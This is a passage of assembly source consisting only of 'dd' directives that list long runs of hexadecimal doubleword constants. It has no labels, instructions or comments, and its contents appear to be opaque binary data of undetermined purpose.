dd 5D86181h, 85E01C26h, 0FA000DACh, 74BD731Bh, 263D8637h
dd 0F4F082ABh, 4037B6A1h, 0DFDDF4B4h, 0F4F033FDh, 6ED62022h
dd 60757AF0h, 0C73C142h, 0F1790B96h, 45205F03h, 80093F7Bh
dd 5C4CDC8Eh, 0D109EFFDh, 8018ED5Eh, 4868618h, 7B76429Dh
dd 207862E0h, 8F424513h, 0FF920900h, 0CCD98425h, 0E2C516E0h
dd 0A20C0331h, 9000633Ah, 1D48074Dh, 0F0DDF347h, 854A019h
dd 6BB00BBBh, 5C2B4D04h, 0CEE7640Eh, 0E63F239Dh, 89A7E9C0h
dd 31EA7A00h, 554B22F3h, 4C9473DDh, 9600088Dh, 52682F02h
dd 0CEF835ADh, 51CE0A79h, 0E041D77Dh, 0F4779BA6h, 3E8820h
dd 40653506h, 0CD2C9246h, 2318DD60h, 606B74h, 0CF9538F5h
dd 93A45266h, 0E041F4A2h, 2800F38Bh, 7E208E7Ch, 1791C497h
dd 6BC014Ch, 0D99D9FD8h, 4DA56h, 0E1ABE96Ah, 698C648h
dd 66371C5Dh, 7D19D83Ah, 79AE7BDCh, 58152860h, 8009571Dh
dd 0CC21CD78h, 12CAACh, 4C3E53D4h, 0D70FF447h, 23606A87h
dd 0C2361EC6h, 1102602h, 8098F9DAh, 0DDCA2D28h, 9418C20Fh
dd 7444193Eh, 0C9F5D26h, 0D135A930h, 60555385h, 0C36A4100h
dd 687DEC31h, 86C5A8C8h, 71036423h, 595F9080h, 32589607h
dd 30A280C8h, 7A488052h, 5403AC53h, 0ACAF7C20h, 0AC7E3184h
dd 21E84D79h, 7CF1A8BDh, 84F2932Ah, 9B091C12h, 6FEAB403h
dd 1F901034h, 382A8452h, 9797203Dh, 669B49C0h, 0C1700E02h
dd 41CFD138h, 0F092E561h, 0F7FEC7E8h, 0A90F0730h, 30FF15ACh
dd 3E31622Bh, 0B301F683h, 1F77546Ah, 598395CCh, 0EF9AFDBh
dd 3D9B3801h, 6A189326h, 0C057F5C5h, 4902B2F0h, 0B06C3CC0h
dd 0D1431100h, 0F098D3E8h, 0FB447CB0h, 67020379h, 0D580D01Fh
dd 877B12F8h, 81B03D1Eh, 253863Ch, 16118479h, 1FBAB8h
dd 3D119ECh, 20CD82E1h, 94036999h, 15C100F8h, 394F671Fh
dd 0E12A539Eh, 78C4A0CFh, 0F0C19524h, 93001EC4h, 54106BF7h
dd 1B123E98h, 400C5E57h, 0E07FEFCDh, 0EAF0DE40h, 0F57D5214h
dd 15B0084h, 5103AE26h
dd 9D150053h, 5F69CA40h, 0D60D9666h, 48566A5Eh, 581400Ah
dd 0A1CE98D9h, 68904068h, 0D3558005h, 0DF149065h, 0E609373Ch
dd 0A15A20F5h, 0F2606770h, 51D88C74h, 1084544Bh, 0B2E0456Fh
dd 1D7C00B4h, 361F9215h, 4D40C0AFh, 974C119Dh, 99452709h
dd 67802691h, 10624CB8h, 0C14DB8Fh, 3469C408h, 74C40490h
dd 461B036Ah, 2F7001D4h, 9AC68FE4h, 0CF02F64h, 0EF7003C4h
dd 7D9BEDF9h, 921836F8h, 89108C0h, 1213D9h, 159864E1h
dd 5095621Bh, 5CF69400h, 420F5F9Bh, 0E4044926h, 8425D325h
dd 0AA042F1Fh, 7D8A1B07h, 0C777C141h, 877C2095h, 0BBFD670Eh
dd 0F8F90781h, 21F280Ch, 77925CFAh, 0A32197A6h, 0C000BC46h
dd 0EB8003E4h, 3DBB88F9h, 2D087F89h, 50015720h, 449A28C7h
dd 7B449B48h, 294C6901h, 9029290Ch, 33A52220h, 0AA1FF97h
dd 0EF222986h, 0CA02105Eh, 0C4D33EA7h, 0FB50A083h, 967B8833h
dd 28416F89h, 0D7111316h, 980711F6h, 518B299Ah, 11DB65C0h
dd 0CC6F1B00h, 398AB12Fh, 5F640050h, 0E4AB197Ch, 0F500BB87h
dd 7660AA3Fh, 3BFAF826h, 0E0801A4Eh, 736C968h, 0A7000C13h
dd 0EE2E3FD7h, 0AB578Dh, 0D944E456h, 0F46A474Eh, 882B8C00h
dd 0D5CB4069h, 0E11F004Dh, 5EB683C4h, 0FC006A61h, 2809E332h
dd 0DD7440h, 18076F53h, 0CAA04CC2h, 5F68C603h, 0F89F67C5h
dd 5A97BEh, 0EA0347C0h, 0DEA35E23h, 3CE12026h, 832FA600h
dd 0E1805F5h, 0F1FDDA85h, 0FEBC2CE0h, 0A200AFAEh, 0F4165C7Eh
dd 0AB391Fh, 27526AAAh, 5843C01Dh, 8E02FDF0h, 2564B7E7h
dd 382A4061h, 0D6C100C8h, 575402EFh, 3B7DEE97h, 0A65B0F01h
dd 7DA2A310h, 0CD44825h, 0A18E00B9h, 90D3736Eh, 5A00DF23h
dd 0BDAAA956h, 0E81ED2CBh, 953B1D5Bh, 9249803Fh, 783A9C4Fh
dd 0C3CD8200h, 0D239FADFh, 0D87AA1h, 5674135Eh, 9401832Ch
dd 95FFEE00h, 68B5642Bh, 0E45C001Eh, 0D1B38F5Dh, 0A200E56Bh
dd 5958A340h, 0AD4C88h, 0F557415Ch, 72689754h, 0AF71900h
dd 3C4DE34Eh, 25991D98h, 156A0014h, 0E4C71EF5h, 70FDAA7Fh
dd 0B000BAC1h, 6FE01C6Eh, 77484D7h, 580E1886h, 372150A1h
dd 5C00DF04h, 0BF5EE587h, 1087436h, 3952758Dh, 0E8FB2409h
dd 0E93DDA8Fh, 0ACB86Fh, 571332BEh, 3DE8120h, 30C7CA2h
dd 0DFC01F95h, 0BB008A9Eh, 0BA5AD79Dh, 6A7914h, 0F7E46759h
dd 383A3F81h, 0FFCB000h, 0A771B9B3h, 44F10F64h, 3CA33753h
dd 0E6C97296h, 0B7ADF804h, 338F3F0Fh, 0E76E43ECh, 0F776E088h
dd 0C663034Eh, 51D2565Bh, 0C4CF1E89h, 0C700ED21h, 83E55FC4h
dd 1CFF625Ah, 0C0C3DD44h, 4595841Eh, 71004630h, 3305DCD9h
dd 1D0297FAh, 435516FFh, 0F9A32909h, 0B1EC21E0h, 0AA5BD924h
dd 0E2083800h, 0BB59Fh, 1C837D71h, 0C2CE1490h, 0A774F601h
dd 0FD1278A8h, 9E53DFCh, 0C494382Ch, 0D0B89827h, 2D6BC148h
dd 827B8600h, 6C622216h, 0BF3501CDh, 0EF56A038h, 0C2C4C8B9h
dd 23EB3Dh, 0D530785Bh, 36D0D9h, 842012DCh, 0FC1D1F99h
dd 3808BC48h, 1BC700DBh, 4E7F6638h, 269F00F2h, 0BDF710EAh
dd 20B81943h, 36A29900h, 660AE31h, 0ECAD0FD8h, 33D52Ah
dd 87949245h, 0CD07E3DAh, 53BB67B0h, 0D0462293h, 32432CAh
dd 0FDEA64FAh, 0D2D02683h, 0FF1CC89Fh, 4C83EDC4h, 0D879F61Bh
dd 31DD5Fh, 2161F885h, 0CFAB5DB4h, 530056ECh, 0EE8EDA38h
dd 552DA3h, 0DE82393Dh, 0C7A8670Eh, 0EFB74B00h, 0F433C912h
dd 0E3A20F0Ch, 8EC3A67Ah, 5C87F79h, 8A004077h, 15FBFC65h
dd 90954AC0h, 74EE1ED5h, 5DDA033Bh, 5FA0A634h, 67005891h
dd 0FACF91Bh, 709B3E1Ah, 98900ABh, 474536Eh, 0AA004A70h
dd 1FD69D5Bh, 5CE026h, 318C78CBh, 0BDB0246Dh, 0CC29882Eh
dd 0A2C03804h, 0D7C31080h, 0BCAA0916h, 0DC00E304h, 1B3B0CC5h
dd 0E039E701h, 0B69A57D4h, 28017C4h, 7AE59313h, 80FD43F9h
dd 4429DADh, 0CE220F0Dh, 874FAA3Bh, 0A05CD020h, 0CD0018D4h
dd 0E2168C1h, 0F6F988h, 627B8C7Eh, 5FB7BC76h, 5D5CE2Dh
dd 8E8F28h, 0A938CDB2h, 0BC92A003h, 77B09A09h, 7EBA00ADh
dd 59BF4A68h, 200478Fh, 0A2CFD645h, 0CD6D6Ah, 9CF15ACEh
dd 88A7756h, 688B7226h, 70E6E900h, 3F9E60D8h, 0CABC25ADh
dd 0B53C0700h, 141790B6h, 0CE9BAC00h, 8C29BAF7h, 583B008Bh
dd 9562A379h, 2F00903Ah, 6EAB39Fh, 3C2E556h, 0FBC75C28h
dd 71A0B7D0h, 3000BA83h, 0FA5DA6EBh, 3E51D453h, 6B94DBABh
dd 0E50FD407h, 94E06590h, 0D030E66Ch, 0D8B6F300h, 4DDB952Dh
dd 0FB373A77h, 5385601h, 3043AC58h, 54071848h, 31DBB3B9h
dd 1BEE5790h, 89FE2477h, 0DC101DC4h, 34EAC04Eh, 17D95578h
dd 397DBA1Eh, 68A0E03Bh, 7B3D36Bh, 36F50C87h, 772A0FEh
dd 0F23967ADh, 88318024h, 549B0FA3h, 9580F0Dh, 4BE0CFBAh
dd 7778CC44h, 7B9D5300h, 45596126h, 0E4322E0Bh, 9E28099Ch
dd 0E98A00F5h, 0B40E5Dh, 0A0DE290Dh, 0CEC64211h, 98EE7800h
dd 0D9EF79FAh, 7B6F00DFh, 0B47D8695h, 0F800584Bh, 0F95C246Ah
dd 17E27Fh, 3A2A8771h, 0BC4CDBFh, 3404DCFAh, 64D52143h
dd 0F75AD5C0h, 91B009Ch, 0EE7519DFh, 1500D116h, 935825E8h
dd 4438A0Eh, 1699747h, 3560C122h, 0F198F38Dh, 11030D95h
dd 635E30D9h, 0E4A2B917h, 0CCDCC4h, 0C88BF566h, 853A418h
dd 3CDA0B00h, 0DC3F9BFEh, 0EE541ABAh, 23C3289Fh, 0B7D81BDh
dd 58E440D9h, 8F0FC2A6h, 0DE4540B2h, 0FD1FAFC0h, 0B0E12Dh
dd 2BAA920Ch, 0B6ACA344h, 0EAB22300h, 796CF8CDh, 0C7F900E6h
dd 5570E872h, 4800FA6Eh, 0CB5095D9h, 0F4F87AE0h, 56F30176h
dd 80AEC53Fh, 3184C015h, 3C872217h, 1845CA00h, 2CF03D1Ch
dd 0C47D9h, 3F7639B6h, 19005126h, 0BA5EA67Dh, 468A83h
dd 1E31BF3Dh, 7DCEF40h, 1C2D933Eh, 0FC00AE4Ch, 0CFFA81B8h
dd 0ADC002D4h, 0A2859FA5h, 0EC591461h, 8D00297Ch, 2CD66F4Dh
dd 164888h, 0D905E84Eh, 3174D7BCh, 5D506E00h, 2B5F4AD5h
dd 5835EC59h, 580090BDh, 0D9DCFD0Bh, 9C019F74h, 7EB94A3Ch
dd 0ECF4BF96h, 0C55A009Dh, 0E24C5295h, 9700AD8Eh, 0C6A51B04h
dd 2EF679h, 7657216Ch, 70E7324Eh, 0E40DC700h, 1E0B8F80h
dd 198C03B4h, 0F1B662D3h, 0EB355290h, 0BE920961h, 0D4E4DC71h
dd 29A300D5h, 74E04ADh, 9500C035h, 3D2CE4F7h, 5E56468h
dd 0E637AEFCh, 0F56B807Ch, 1107D0C4h, 0E7CA3647h, 12052810h
dd 0E0B4389Eh, 53375000h, 0DDE4D3FFh, 0D9C38400h, 0B6AA8714h
dd 6719003Bh, 0C6C3311h, 7A0B527Eh, 80F0B8ABh, 9DEEFDFCh
dd 421B0EA7h, 0A801CEF3h, 7055DB57h, 0C2FE982Bh, 95E89B03h
dd 981E6C9Dh, 16B0740h, 0E37D5629h, 0F4ED734Fh, 0F000BBC0h
dd 1B5C0E8Eh, 2E402C81h, 487129h, 530154B4h, 6800B23Bh
dd 83E71196h, 2897CCAh, 0EE2E9D02h, 0B4610452h, 0F0BC31D6h
dd 1A1E0548h, 53C060DBh, 0F608713Ch, 6A96004Eh, 0D5A543BCh
dd 2B0030F8h, 0F5C37EB6h, 17C79926h, 40F09FE8h, 0F47DF728h
dd 450732BAh, 0D4635C6Ch, 0D5836081h, 6A2E683Ch, 10756054h
dd 400038Ah, 0EA0FFA2Fh, 0D06691h, 0EB01BBF4h, 335106F2h
dd 20A45F00h, 0E16B32CFh, 18571EAh, 8D738ABCh, 7D6FBAC6h
dd 1AB9007Ch, 2AD569B1h, 25C89440h, 0F90B95D6h, 0CBCA099h
dd 1C260951h, 8910A353h, 0C4E052C0h, 0C8940FE0h, 29F62A41h
dd 379B034h, 1806840Ah
dd 0F0C75AE6h, 0ACB3755Eh, 8089633Bh, 0E40BC3AEh, 0FA3B49h
dd 0C19606FDh, 9F498DBh, 8F2D8E00h, 0C6D4DFEEh, 48ABEA0Fh
dd 7800096Eh, 219C14C1h, 5807BD55h, 2EC8A084h, 5025F7C0h
dd 380A009Eh, 8568339Dh, 5700C573h, 0F35BE7FBh, 0B8ECDBB7h
dd 7F6F028Ah, 148EB6Dh, 0DE0484D0h, 0EB3D07Eh, 50F6080h
dd 8B85009Ch, 2B82E15Bh, 0DD005EE0h, 7EBC19C7h, 3970B74h
dd 118395E4h, 50EF0C5Dh, 0F5E6FFFDh, 657002C2h, 7D9CE059h
dd 0F4A2026h, 6F470C13h, 0ABF6A05h, 0A0D390D7h, 134D90B0h
dd 6F1209CCh, 0A060C743h, 67008FAFh, 0B51CD2BCh, 68E181h
dd 1B58C809h, 0D9714C4Ah, 0A67A19E4h, 8E65C8A1h, 40BB7A69h
dd 0ED1C516Dh, 0BFAF0338h, 0FAE7529Fh, 11A1ABB8h, 19E0D496h
dd 2CCB46F6h, 211C24Ch, 949CFC6h, 633EB058h, 7DB39FA4h
dd 50146E83h, 4775E03Ah, 64F053h, 600C4EFCh, 170ECFF4h
dd 87351800h, 0B5A42407h, 25D400C7h, 0EDF3EEEFh, 1B00DB76h
dd 0C2536927h, 48A63E6Fh, 13004802h, 0CABB80E6h, 0B200F0D2h
dd 0F36E8FE7h, 6B0BF1h, 69534A51h, 0CEBE544Eh, 0E2CC3600h
dd 66E182D8h, 0FB5D0F70h, 0A8C051B4h, 0E5580BB6h, 9CEAE72Eh
dd 33AA8138h, 2F53E922h, 7480E4h, 959969FAh, 0D23FAC91h
dd 0E4887C00h, 300F41B4h, 215901B9h, 0F03CF163h, 4240CE1Bh
dd 36007DE6h, 0DBF3C151h, 9E990Fh, 8942CFBBh, 3A0E94A3h
dd 0BD64E701h, 7E0487E9h, 3B812FCh, 7524916Ah, 0C9D2D166h
dd 84A88740h, 7A3F6C9Ch, 0BCA359ECh, 14EBE788h, 967077F4h
dd 0D147F202h, 6081A492h, 4C95D4CAh, 88014420h, 30DCDF2Ch
dd 338FC058h, 3901077Ah, 978A3EEFh, 3CDC7AF0h, 1B9C4C9Ah
dd 0B3A70907h, 0F2997181h, 23AF3012h, 8D38D207h, 0CFD0E460h
dd 3E30264h, 5D8C187h, 0ACF13BEDh, 266EF001h, 79151300h
dd 9A9B9869h, 0F3DD00BBh, 8EF46C19h, 780111C3h, 0D98B577Fh
dd 0AC2006B5h, 5FF500CAh, 0BDD85D36h, 5C09C10Eh, 81149126h
dd 34693AFEh, 0D48AFCh, 4176407h, 0DA8E50F0h, 0E76E5700h
dd 3D732412h, 0D62C01ABh, 0E8365CBCh, 0F291F0EEh, 47C0831Eh
dd 136309h, 0C6FA464h, 0C020E226h, 17BD7A10h, 0CD00D37Eh
dd 0CBD901D6h, 0A2EC58h, 0E3F9F272h, 5348E65Ah, 80DE8638h
dd 0CFA9BFC7h, 1EA1C7Dh, 15AEDFABh, 0EC19AC99h, 0FE03963Fh
dd 5B46CEA1h, 6BA8A0F5h, 0F78D1CA0h, 0B92A8092h, 0DD6C6A30h
dd 0D80F405Bh, 34176058h, 1F2CE3EDh, 0C0A8E102h, 3782D6C8h
dd 5158A414h, 0A057078Ch, 0C430D904h, 24E83563h, 4FBFA9h
dd 705D80CEh, 1A01015Bh, 0DB7C6E33h, 0FDD87812h, 8D0F00D6h
dd 0CE232BAFh, 3100F298h, 0B4B0DE04h, 133971E4h, 998AA2h
dd 248DF8E4h, 11C02694h, 0C9C62CF9h, 0E8CC9015h, 3B1300D5h
dd 0CE5A17E6h, 8B039EFBh, 7226E7A7h, 448A02Eh, 97937E71h
dd 0CA4E08Bh, 7E4B4056h, 73FE9A6h, 5122F36h, 7B3792B4h
dd 2E496C40h, 96604200h, 0DD5CA94Dh, 0D8640131h, 8D5E4813h
dd 0FAE02067h, 62639915h, 9C0575E8h, 4D65FFA2h, 0BE1B7B80h
dd 506D6034h, 0BB2711B0h, 0D142901h, 74DE592Ch, 0C232D540h
dd 0E8DA0079h, 4A5FF628h, 3D00DF88h, 0D057A33Bh, 79DCAFDBh
dd 2549848h, 2356A014h, 0D298E5h, 0C0E6C614h, 38FB16DEh
dd 15B1BD06h, 0A6F00128h, 23FDF2AFh, 0AB6CC87Fh, 32227300h
dd 8A81C8BBh, 19370147h, 0FE93B813h, 87DFC477h, 9AAB1400h
dd 268D3143h, 49DC24AAh, 35440010h, 93A3F3Ch, 0B07B9900h
dd 6DD5847Ch, 0F31007Dh, 328A35E9h, 0F17892F5h, 1E264058h
dd 0FFC05A42h, 0A0C7458h, 0F47258B1h, 0C0C98B00h, 67C4DD3Eh
dd 4401684Fh, 4C48BF69h, 7F11C770h, 44239DA3h, 9F980A81h
dd 8E009256h, 48823827h, 916350C2h, 6D203E38h, 243AA300h
dd 0CB914CABh, 80310666h, 0B6626763h, 0B9B4BB00h, 2D9D07AEh
dd 682E2E60h, 812384Ch, 0BD10E038h, 64BF0D00h, 0EBC0728Bh
dd 39B0332h, 28D0CD4Ah, 7102C0B4h, 40016E3h, 2D36A8BDh
dd 58BBC95Fh, 6401E389h, 0BCBEB6D2h, 0DC543058h, 0DA9C8800h
dd 305A569Eh, 85603066h, 0F426E5AEh, 1242B800h, 38131B2Bh
dd 0CC8800CDh, 5DA20FCh, 628C35Eh, 9A7E449Ch, 8D988C00h
dd 0ABF82F47h, 0D19500B5h, 9ED2ADD4h, 395D3B4h, 0C04F9048h
dd 0D9ABA3h, 8559663Eh, 0E9D8B581h, 0BD31C00h, 0CF4DB986h
dd 4EC724FFh, 0DD10034h, 0E3AC7570h, 6448BCFEh, 4005746Ch
dd 1091AB3Ah, 0C637A880h, 5BFE253Dh, 2E76E881h, 5588C09Dh
dd 7B483Dh, 18FA2670h, 0EF428A6h, 3587307Fh, 2E200232h
dd 90DAC552h, 0E6C9B204h, 0A480210Ah, 0E86F96h, 0E2E5016Dh
dd 3668530Dh, 250E6400h, 62DAAC19h, 7950162Ah, 76F840AFh
dd 8B0B9BE7h, 73214B01h, 0D850C12Bh, 0B31EE1C2h, 58CEC4D4h
dd 2402441Fh, 0DD132539h, 38750CE8h, 0EB4F7100h, 0CD4B5A84h
dd 0DB1C0701h, 0C0FDA64Dh, 0BF0C45ABh, 71D3BD0Fh, 21DC83FBh
dd 0BEA0B806h, 55370039h, 61B9FFF5h, 0FB0583B7h, 7C05D43Eh
dd 853E04EBh, 0CB288064h, 124856E6h, 416F14CCh, 1CF502C8h
dd 0D86DE35Eh, 999D0340h, 820B80D1h, 0EA12D9F8h, 222D3900h
dd 8B537B91h, 372E1278h, 0D3880002h, 9FFCCF24h, 31131270h
dd 0E0C0AAA5h, 55504Bh, 77ACA10Ch, 1ADC9399h, 28A28A0Eh
dd 0A4BA635Fh, 94729948h, 92D370h, 62A5F13Dh, 17578E9Ah
dd 4375F50Eh, 0B720E1D9h, 0B4741A30h, 87F039BDh, 0E8DF8C80h
dd 0D89C8FB4h, 1E4Ah, 0A6B12E29h, 7FEE00CEh, 0F16E5CB9h
dd 890112EFh, 502B3E7h, 0DC8A571h, 0BD6C05E8h, 1B7A04h
dd 0CBF954CCh, 0F600CF07h, 7394796Bh, 0AD3C18h, 17DC96C2h
dd 0A9ABBD89h, 7202EC00h, 0E3AF7B5Dh, 44B51E4Dh, 0C39180A7h
dd 77AD2A40h, 0A9FD5400h, 6C99E1E4h, 0BC811EB9h, 0DC2181FBh
dd 0C063893Ah, 0A800106Dh, 15058FF9h, 18BCE1h, 0DD220846h
dd 4E87BDEFh, 0B10B811Ch, 0E6D9837Ch, 0D86669A2h, 0ABD362Fh
dd 0A4DA1096h, 0B50500C8h, 0ECD444FDh, 63265800h, 0AF3F09D3h
dd 7A7D00ACh, 82782219h, 0BE008DCBh, 15A6D8DDh, 1E13D9F7h
dd 806D0F10h, 0BD033CC7h, 6817C54Ah, 0E0006B93h, 4CA72196h
dd 74DA01B6h, 38E870D2h, 0AC188163h, 0B4276857h, 0A2E04CF5h
dd 624AC083h, 0A7D9663Ah, 0DF93CC00h, 6989D5ECh, 75AD00C1h
dd 219A7DB7h, 85052317h, 0D9B649CBh, 5AEE9E00h, 501C05h
dd 37DADD5Fh, 0DB782C96h, 0A2929801h, 72D8805Dh, 5CA4F3F0h
dd 0E007B2B1h, 907890ADh, 0F4A9E11Dh, 58B8100h, 0CE753DC9h
dd 0AB6B01C6h, 0CFEF9D61h, 0FBFA606Ch, 946ED00h, 502F2EBEh
dd 1C7E7DE3h, 80B5B9A9h, 0B46E91BFh, 5F00EDCDh, 679B7290h
dd 0EA1921A6h, 0C709F34h, 35A3D306h, 78C157E7h, 0D66C0F06h
dd 85001A44h, 2FBA16FDh, 0D507A77Fh, 1D8CDB05h, 4AA1E3h
dd 64212230h, 0C0AE3D23h, 248E8801h, 441EDFF0h, 1A98D4h
dd 465A76CEh, 55F26EACh, 616CD500h, 0EED77408h, 0B7EB1FB4h
dd 0A5E70051h, 8A38E2EAh, 0CCEF3E07h, 2260CF60h, 306B5FAh
dd 40A33711h, 5BA848B2h, 0C900A9F8h, 163D65BDh, 8B90E7h
dd 44A3B889h, 6043FA8Eh, 71375B00h, 0D78F514h, 0B1C3BE6h
dd 371C7AEh, 0C8978C22h, 0F33B4DB8h, 4CEE4A00h, 86D954FFh
dd 8094000Fh, 425573A0h, 30900EA6h, 0BF92E500h, 5F1415F4h
dd 0F356000Bh, 0A598179Eh
dd 70094EEh, 0A79D9B97h, 3AFAAE38h, 0DE007E26h, 2D537903h
dd 4724283Dh, 150D8DB7h, 0A3DC786Dh, 9D3202FEh, 8C343D7Fh
dd 8871FC84h, 0A7005E54h, 1B0F7AF9h, 28C6B2E3h, 80A49816h
dd 54A9C0h, 416A8BB7h, 6D23E2FEh, 0DF07C100h, 17AD4F1Dh
dd 59403CD0h, 0E98E793Eh, 0C042F6B1h, 8C850494h, 0BA1B82D2h
dd 7F81AC80h, 0C5005473h, 7C6D3BF7h, 39CF16ECh, 0B0029B6h
dd 47053CB0h, 6E1D0CB3h, 87BB8B82h, 0C5D88693h, 0A1293610h
dd 0D2D7005Dh, 0C0526BA5h, 1200B3F1h, 6FEA332Dh, 0F64A1B1Ch
dd 6190B4h, 0C73A4D39h, 2F3F4105h, 5E184C00h, 0F1B322D2h
dd 0D48200C2h, 0AE16B7C1h, 4BB87752h, 0B8574203h, 883CFD28h
dd 8B07E1h, 78CE9710h, 0E61B05D6h, 0A18C500h, 0F76677A4h
dd 3C740567h, 8016BE3Dh, 22FDB3A1h, 9ED83600h, 7BAAD26Ch
dd 8AC80E2Fh, 0A80AA299h, 7C4500C0h, 3740E74Ch, 2DF9BA00h
dd 0CCFC0B93h, 41A00E6Eh, 2205E36h, 4D2412C2h, 8FA9083Fh
dd 42615D07h, 60BAC74Eh, 17B926h, 0C4515FABh, 0AA349AE4h
dd 1CC00615h, 2EA2C09Ch, 9566B2Ch, 0C6A4E53h, 8620642Eh
dd 0B14DFE1Ch, 80B0C73Ch, 1ACB5A60h, 7EF42A0h, 0EEE690B4h
dd 0EC3780E7h, 0FD004C1Dh, 70684454h, 0B9D8E2h, 0DD0BDF09h
dd 8CF6ED33h, 6BE45278h, 0C3EE6498h, 0B67EEC70h, 0B2D8351Dh
dd 12E48340h, 7F35459h, 0E0E97B3Eh, 5772F0CCh, 0AA3A25CBh
dd 3577AC84h, 0CEDB9E00h, 6023139Ah, 0FCD89141h, 0CC093F98h
dd 7E06410h, 0B800244Ch, 7A5F70h, 67F80E62h, 6A183331h
dd 984C248h, 0A075B3EEh, 0BF37E4C4h, 979808h, 88B6233Ah
dd 81F0DF24h, 0B8DBCE00h, 415BCDA0h, 449035h, 64D896CFh
dd 333FBA59h, 0B31BB507h, 7740F010h, 0E5D562Bh, 0BFE1B03Ch
dd 0D92D6F61h, 61877076h, 43AAA600h, 9F2AE0D6h, 0DB2426BAh
dd 6794004Ch, 2750E9C1h, 852C5600h, 9E914CD0h, 1C5F58A2h
dd 6B924000h, 0CFB571CDh, 9BBA630Eh, 2968A0A4h, 0EE2AE6D8h
dd 2EE00030h, 3EB4BF28h, 177EF5D1h, 900583ECh, 66914247h
dd 0B01CF483h, 0E5C9B3h, 192032A9h, 0C623CFD6h, 621F9100h
dd 0C9615231h, 0E08D07D1h, 0A0BB299Bh, 5CDC174Bh, 0D3FEC503h
dd 0C0A2F713h, 247C3763h, 92843Eh, 0FC3DBE28h, 67130442h
dd 92194h, 0E690809Bh, 724FBCCh, 0F131B3Ah, 8559007h, 64178BC3h
dd 65006903h, 10D933FBh, 0B821EEFh, 0D1DF4797h, 0EA58F05Ch
dd 0B0002274h, 43926B6Dh, 7B1430D5h, 95CC0EF1h, 0D14799A0h
dd 47D6008Ch, 4E0B7BCFh, 0E5EEB9h, 398446EBh, 356B0083h
dd 0FEC9ED1Ch, 9F00C027h, 92FABBABh, 0E2495F4Ch, 97E806h
dd 1944B405h, 89ECEEE7h, 22F78C00h, 3D78A1BCh, 0D9550082h
dd 17CE92B9h, 0E70262B7h, 5D15BD4Bh, 9956607Eh, 0FC5900AAh
dd 575F56E1h, 8A0CF39Ah, 3A5CF631h, 0AB4B0EB2h, 1960D2A0h
dd 0E2FA9614h, 0AA41E601h, 4C9B54ECh, 0CFF8E4DDh, 0D6E48A8h
dd 6596F901h, 0F471A09Eh, 0B790750Dh, 44CBDB0Eh, 220CA09Ch
dd 31FAA60h, 526350CAh, 0F4F0FC9Fh, 0B4178329h, 8D075C12h
dd 0EDA0D520h, 744F8860h, 29AF1CD0h, 619C8ED4h, 19780B20h
dd 8B0099D9h, 1CBC44FEh, 11DDC7h, 1898E048h, 0EB7A4523h
dd 0B6437203h, 0A97FB48Ch, 0F4FC3E21h, 0AA6400F1h, 70BDFB77h
dd 0B5006A54h, 0A478F2C5h, 5D519Ch, 14F7D3B1h, 6FF1C695h
dd 325F507h, 40A05229h, 0B19941h, 0D1565946h, 0EBF8AE27h
dd 405CCA30h, 6B0A15h, 0D9565C2h, 3DFBDACBh, 0F39B3B00h
dd 0A14F0F0Ch, 20384922h, 19A94B00h, 0D6E21D39h, 2DAE9C0Ah
dd 0A67109Ah, 0D6EF2540h, 9E6C0032h, 3459D85h, 0A1007EDAh
dd 6439D8CCh, 3BDB5Fh, 2BDDF28Fh, 0EE7A9C99h, 0F12CD90h
dd 40CDCFh, 5523714h, 3B329062h, 0A900167Fh, 5764260Dh
dd 6CE0C7ACh, 58A65137h, 2311EA00h, 0C9743C94h, 658F5F02h
dd 9443AA03h, 4A0024CBh, 0B6182B3Fh, 5CFD360h, 0E3B82786h
dd 9E43C194h, 0C62EF073h, 7B786600h, 0D142D76Dh, 9CAC0044h
dd 0FCC46F74h, 2F07A2D0h, 19A0DD9h, 282C5AC1h, 0CA84E8h
dd 0FF79ABA9h, 0F807EDFAh, 73872B0Fh, 0A5B5C0E8h, 9825C47Ah
dd 0FBE6387Dh, 2A8A2D80h, 3F2BF66h, 8302CC3Ah, 6A7B4AF7h
dd 0E414E8B8h, 40360089h, 0DAF45C50h, 0E800935Ah, 569CFE4Dh
dd 331F6B3h, 0C610CFBBh, 0E098BABCh, 0D701B678h, 59F839A6h
dd 0AAD485A5h, 0C50400D9h, 52AF458Eh, 4DB8B896h, 3529D700h
dd 0A167CF4Eh, 708EC7Dh, 4241381h, 0EBF120BBh, 3170C98Fh
dd 0AAB20303h, 0A754E675h, 777285E0h, 0FCC776ADh, 8AF20063h
dd 9AD5F6B8h, 3000E46Ch, 29CE2515h, 79B59C11h, 0E7F506EFh
dd 503CBD3Bh, 0FE4AF5Ch, 809F86DDh, 0DE413EB9h, 0FA54CD6h
dd 5F134B00h, 53D98F6Dh, 93F34400h, 0B06133A0h, 76A40304h
dd 274EE841h, 36D2E1F8h, 0F004898h, 4472A96Eh, 8319Dh
dd 3D0CA841h, 349998A1h, 40008E73h, 9AF2E238h, 0F3E02DFh
dd 2C931242h, 0F4515DE0h, 0BA72E424h, 78411516h, 911DFBh
dd 21B0CA55h, 0E008B04h, 7D7909E8h, 5DB8074h, 0DA3C7F85h
dd 448C0795h, 8D3A50BAh, 4E7D5EA0h, 6B64E400h, 778316D5h
dd 4F2E006Eh, 0CEC34C41h, 98005699h, 1BC61A04h, 0AD67B4h
dd 79C477DCh, 11C07FDAh, 85057300h, 5861AF08h, 0D11A5C2Dh
dd 73F7400h, 71FBA49Eh, 6797A10Ah, 0D20096CDh, 1BC52017h
dd 4E250A19h, 7844537h, 8069EFD9h, 71FEABC9h, 3FFC000h
dd 70B055FAh, 0E11300B6h, 9E1E0A93h, 9A0C1089h, 18CAEC2Bh
dd 0CD70975h, 2E809501h, 6E92066Ah, 6F0F0800h, 0B1F3878Dh
dd 0A09F037Ah, 0C595E54Bh, 0F80497F0h, 9C287B00h, 0EE6F1C2h
dd 990500C3h, 1A64657Dh, 0BE001E1Fh, 0FBD8E42Ah, 71915ABh
dd 79EC92F3h, 3DB3D175h, 810F609Dh, 0D9B03901h, 0C430369Eh
dd 78FDEC4h, 7E30F94h, 87F560ADh, 4B00DBDAh, 8526BBCBh
dd 3804810h, 11A473F9h, 0FC3C50Bh, 92C21BF0h, 449A3B01h
dd 7EA8C8Dh, 24C77C20h, 532B49h, 595E3388h, 3C1FCCD1h
dd 6DC07FDBh, 0C322A73Dh, 49C2003Fh, 0B1FBAA2Fh, 0F8EA75A8h
dd 51B0700h, 30B743A7h, 0AE020028h, 9C7E9559h, 2F7E092Ah
dd 6EF0A200h, 5657BA93h, 0B993D39h, 2C5F1D80h, 7DD0AE1h
